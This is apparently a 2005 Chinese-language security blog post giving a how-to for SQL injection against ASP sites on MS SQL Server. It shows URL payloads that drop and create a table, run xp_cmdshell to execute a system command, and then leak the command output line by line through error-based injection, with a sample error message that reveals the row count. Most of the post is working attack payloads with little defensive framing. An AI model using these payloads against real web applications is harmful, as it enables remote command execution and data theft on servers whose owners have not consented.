All about security

scripts.girl

导航

xp_cmdshell 执行回显问题的一点经历

Posted on 2005-05-17 00:41  isno's world  阅读(1525)  评论(2)    收藏  举报
创建表,加了个自动编号的ID,并把xp_cmdshell的回显内容导入临时表
http://www.xxx.com/aa.asp?=1 ;drop TABLE D99_CMD; create TABLE D99_CMD([Data][varchar](1000),ID int NOT NULL IDENTITY (1,1));insert D99_CMD exec master.dbo.xp_cmdshell 'dir c:\' ;--

//之后爆内容了,可以一行一行的爆!
http://www.xxx.com/aa.asp?=1 And (select Top 1 char(124)%2Bdata%2Bchar(124) From (select Top 1 [ID],[Data] From D99_CMD Order by [ID]) T Order by [ID] desc)>0

drop TABLE D99_CMD
是清除以前的内容

如果想知道有多少行,可以这样读
http://www.xxx.com/aa.asp?=1 And (select char(124)%2Bcast(Count(1) as varchar(8000))%2Bchar(124) From D99_CMD)>0

回显的内容如下:
------------------------
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]将 varchar 值 '|37|' 转换为数据类型为 int 的列时发生语法错误。

'|37|' 里的 37 就是行数

-----------------
是因为我SQL命令不太熟悉,所以走了很多弯路!